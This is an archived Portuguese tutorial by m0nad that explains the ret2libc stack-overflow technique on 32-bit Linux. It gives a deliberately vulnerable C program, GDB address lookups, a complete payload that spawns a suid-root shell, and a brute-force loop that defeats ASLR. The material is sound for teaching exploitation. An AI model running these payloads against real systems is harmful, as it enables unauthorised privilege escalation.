what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Retornando para LibC / Ret2libc

Retornando para LibC / Ret2libc
Posted Mar 12, 2010
Authored by m0nad

Whitepaper called Retornando para LibC / Ret2libc. Written in Portuguese.

tags | paper
SHA-256 | 6d5c5decb3a417ab7850d382dd11e6c9ec6306032c2f8059fd1b727ad0fbb2b0

Retornando para LibC / Ret2libc

Change Mirror Download
Retornando para LibC / Ret2libc

----[ Tema : Retornando para LibC / Ret2libc ]
----[ Autor : m0nad [at] email.com ]
----[ Data : 12/3/2010 ]
----[ Versão : 1.0 ]


--Índice

- Apresentação
- Pré-requisitos
- Introdução
- Desabilitando Proteções
- O Código Vulnerável
- Utilizando o GDB
- Utilizando a função getenv
- A Exploração
- Conclusão
- Referencias
- Agradecimentos



- Apresentação

Eu sou m0nad, do grupo BugSec ( http://code.google.com/p/bugsec/ ) e integrante do botecounix
( www.botecounix.com.br ), visitem la que tem muita coisa boa.
Estou aqui para demonstrar a técnica clássica de return to libc , ou retornar para libc, existem
outras maneiras de se executar esta técnica, mas aqui só abrangeremos o básico.


- Pré-requisitos

Bem, espero que você saiba programar em C, e já tenha se aventurado com os buffer overflows,
um conhecimento de assembly e de arquitetura/organização de computadores básico ajudaria,
precisamos também de um Linux 32bits, assim como o gcc e gdb.


- Introdução

A técnica tradicional de exploração de stack-based overflows, consiste em executarmos o
shellcode que colocamos na pilha, mas se a pilha não for executável não adiantaria nada
pularmos para o shellcode que esta la, pois o este não seria executado, isso é chamado
de NX bit(Non eXecute) ( http://en.wikipedia.org/wiki/NX_bit ), bem com ret2libc é possível
a exploração, pois não utilizamos shellcode, outra vantagem, é quando o buffer é muito
pequeno para colocarmos o nosso shellcode.
Ret2libc, também chamado de Arc Injection é um método de se passar por essa proteção, é
de certa forma parecida com outros stack-based overflows, vamos setar o endereço de retorno,
para onde nos quisermos.
A ideia da técnica e substituir o endereço de retorno para a biblioteca compartilhada libc,
geralmente para função 'system()' ( que só precisa de um argumento ) para executar um comando
arbitrário.
Mas primeiro vou falar de 2 questões, a maioria usa distribuições Linux modernas que vem com
outros tipos de proteção, estou falando do SSP ( smash-the-stack-protection ) mas também
chamado de ProPolice, e com ASLR (Address Space Layout Randomization), precisamos desabilitar
essas proteções para ter sucesso na técnica, mas, no final também ensino a burlar uma delas ;).


- Desabilitando Proteções

Para desabilitar o SSP, quando for compilar seu código vulnerável, basta acrescentar a tag
-fno-stack-protector.

ex:
$gcc vuln.c -o vuln -fno-stack-protector

Para desabilitar o ASLR, basta digitar, como root:

# echo 0 > /proc/sys/kernel/randomize_va_space


- O Código Vulnerável

Pronto, agora já estamos prontos para começarmos, compile o código vulnerável abaixo,
como eu mostrei acima.

------------code---------------

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main (int argc, char **argv)
{
char buffer[4];
if (argc != 2) {
puts ("sem argumentos");
exit (1);
}

strcpy(buffer, argv[1]);
}

------------code---------------

Vamos 'verificar' se ele esta vulnerável.

$ ./vuln `perl -e 'print "A" x 16'`
Falha de segmentação


- Utilizando o GDB

Percebemos a falha, vamos olhar no gdb o que esta acontecendo.

$ gdb vuln
GNU gdb (GDB) ...
...
(gdb) r `perl -e 'print "A" x 16'`
Starting program: /home/m0nad/vuln `perl -e 'print "A" x 16'`

Program received signal SIGSEGV, Segmentation fault.
0xb7eb7286 in _setjmp () from /lib/tls/i686/cmov/libc.so.6

Hmm, parece que ainda não sobrescrevemos o eip, apesar do erro, devo apenas ter corrompido
apenas o ebp, vamos ver.

(gdb) i r
eax 0x0 0
ecx 0x0 0
edx 0x414140fd 1094795517
ebx 0xb7fcdff4 -1208164364
esp 0xbffff44c 0xbffff44c
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0xb7eb7286 0xb7eb7286 <_setjmp+6>
eflags 0x10246 [ PF ZF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51


Veja, ebp 0x41414141, o ebp foi totalmente sobrescrito, mas o eip parece estar intacto
vamos colocar mais 4 bytes, e ver se pegamos o eip.

(gdb) r `perl -e 'print "A" x 16 . "BBBB" '`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/m0nad/vuln `perl -e 'print "A" x 16 . "BBBB" '`

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)

Perfeito, o eip todo sobrescrito por letras "B's" , agora que vem a técnica do ret2libc, vamos
ver qual o endereço da função system, para colocarmos no lugar do retaddr.

(gdb) b main
Breakpoint 1 at 0x80484b7
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/m0nad/vuln ]

Breakpoint 1, 0x080484b7 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x80483a0 <system@plt>


Outra maneira de se descobrir, e adicionando essa linha ao código
--
printf ("system() = %p\n", system);
--
$ ./vuln asdf
system() = 0x80483a0

Pronto, já temos o endereço, mas e os argumentos, como vamos coloca-los? bem meu amigo, como
você já deve saber, a pilha alem de guardar o endereço de retorno de uma função, também guarda
parâmetros para funções, alem de outras coisas como as próprias variáveis, que estamos
transbordando aqui, quando uma função vai ser chamada, algo que no C seria algo como
system("/bin/sh"); por exemplo, para explanar a nossa shell, no assembly, ficaria algo como
abaixo.

push $endereço de /bin/sh
call $endereco de system

Quando a função call, é chamada, ela executa um push, ou seja, coloca na pilha, o endereço da
próxima instrução (endereço contido no program counter ou contador de instrução) e da um jump
para o código da função, no caso da função system().

Bem, dito isso, sabemos que acima do endereço da função system, que vamos colocar no lugar do
endereço de retorno, colocaremos um endereço de retorno para a função system, podendo ser qualquer
coisa com 4 bytes, pois ele só vai executar depois que sairmos de nossa shell, no caso vamos usar
o endereço da syscall exit, e depois o endereço da string /bin/sh, ficando assim:

[ lixo ] [ end. system ] [ end. exit ] [ end. /bin/sh ]

Para capturarmos o endereço de exit(mas caso você não se importe que o programa crashe, depois
que você sair da shell, pode colocar 4 bytes quaisquer), vamos fazer da mesma maneira que a system.
.
(gdb) b main
Breakpoint 1 at 0x80484b7
(gdb) p exit
$1 = {<text variable, no debug info>} 0x80483f0 <exit@plt>


Com a string /bin/sh, vamos exporta-la na shell, e ver 2 maneiras de se achar o endereço da mesma.

$ export TEST="/bin/sh"

Mas acontece, que assim precisamos acertar o endereço exato. do começo da string e muitas vezes,
ele "anda" um pouco, ou seja ele muda um pouco, então é mais fácil se fizermos algo como abaixo.

$ export TEST=" /bin/sh"


Para pegarmos o endereço usando o gdb.

(gdb) b main
Breakpoint 1 at 0x80484b7
(gdb) r
Starting program: /home/m0nad/vuln

Breakpoint 1, 0x080484b7 in main ()
(gdb) x/2000s $esp


Vão aparecer muitos endereços, com muita coisa, você dever ir dando <enter>, e geralmente no
final, estará assim:

0xbffffdff: "TEST=", ' ' <repete 51 vezes>, "/bin/sh"

(gdb) x/s 0xbffffdff
0xbffffdff: "TEST=", ' ' <repete 51 vezes>, "/bin/sh"
(gdb) x/s 0xbffffdff+10
0xbffffe09: ' ' <repete 46 vezes>, "/bin/sh"

Nesse caso, usaremos o endereço 0xbffffe09.

- Utilizando a função getenv

A outra maneira de se achar o endereço e usar o getenv() do C, veja o código exemplo

------------code---------------

#include <stdio.h>
#include <stdlib.h>

int main (int argc, char **argv)
{
char *path;
if (argc < 2 ) {
puts("Sem argumentos");
exit(1);
}
path = getenv (argv[1]);
if (path!=NULL)
printf ("O endereço e': %p\Seu conteúdo e': %s\n", path, path);
return 0;
}

------------code---------------

$ ./getenv TEST
O endereço e': 0xbffffdf5
Seu conteúdo e': /bin/sh


Pronto, já temos os endereços que precisamos.

system 0x80483a0
exit 0x80483f0
/bin/sh 0xbffffdf5


- A Exploração

Vamos a exploração, primeiro colocamos como suid root, para ficar mais legal :) como root faça:

# chown root vuln
# chmod +s vuln

Agora vamos exploita-lo.

$ ./vuln `perl -e 'print "A" x 16 . "\xa0\x83\x04\x08"."\xf0\x83\x04\x08"."\xf5\xfd\xff\xbf"'`
# id
uid=1000(m0nad) gid=1000(m0nad) euid=0(root)
#

Sucesso! pegamos o root :) , perceba que colocamos os endereços em ordem reversa por causa
do little endian, como na exploração de overflows normal.


- Burlando ASLR

Vamos ativar o ASLR agora
# echo 2 > /proc/sys/kernel/randomize_va_space

O endereço da função system não muda, mas a variável exportada muda, veja:
m0nad@desktop:~$ ./getenv TEST
O endereço e': 0xbfaeddff
Seu conteúdo e': /bin/sh
m0nad@desktop:~$ ./getenv TEST
O endereço e': 0xbfe78dff
Seu conteúdo e': /bin/sh
m0nad@desktop:~$ ./getenv TEST
O endereço e': 0xbfdc0dff
Seu conteúdo e': /bin/sh
m0nad@desktop:~$ ./getenv TEST
O endereço e': 0xbfb6bdff
Seu conteúdo e': /bin/sh

Mas percebemos que o começo do endereço (bf) e o final (dff) isso deixa 3 nibbles para serem
aleatórios, bem o que vamos fazer, é um bruteforce, vamos tentar um dos endereços muitas vezes,
até que caia no nosso endereço, para fazer isso eh muito simples, vou utilizar o endereço
0xbfb6bdff como exemplo:

$ while true;do ./vuln `perl -e 'print "A" x 16 . "\xa0\x83\x04\x08"."\xf0\x83\x04\x08"."\xff\xbd\xf6\xbf"'`;done
# id
uid=1000(m0nad) gid=1000(m0nad) euid=0(root)

Sucesso! o looping infinito faz com que tente todas as possibilidades dos 3 nibbles voltando
alguma hora, para o nosso endereço.
Essa técnica, pode demorar um pouco, mas funciona, o problema dela é na exploração remota, pois
na primeira tentativa o daemon seria derrubado, mas na exploração local funciona bem.


- Conclusão

Mesmo com NX-bit, um buffer pequeno, ainda sim é possível explorar o código com este tipo de técnica.
Até mesmo com ASLR, conseguimos pegar o root, apesar de dificultar a exploração remota.
Acredito que o melhor jeito é ainda escrever um bom código.


- Referencias

Return-to-libc attack - Wiki
http://en.wikipedia.org/wiki/Return-to-libc_attack

Arc injection / Return to libc
http://www.acm.uiuc.edu/sigmil/talks/general_exploitation/arc_injection/arc_injection.html

Bypassing non-executable-stack during exploitation using return-to-libc
http://www.exploit-db.com/papers/31


- Agradecimentos

Agradeço aos meus amigos do bugsec e do botecounix, Cooler_, _MLK_ e I4K.
Agradeço ao IP_FIX, que está sempre me ajudando, e ao 0ut0fbound que conheci a pouco
e tem me ajudado bastante.


Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    47 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close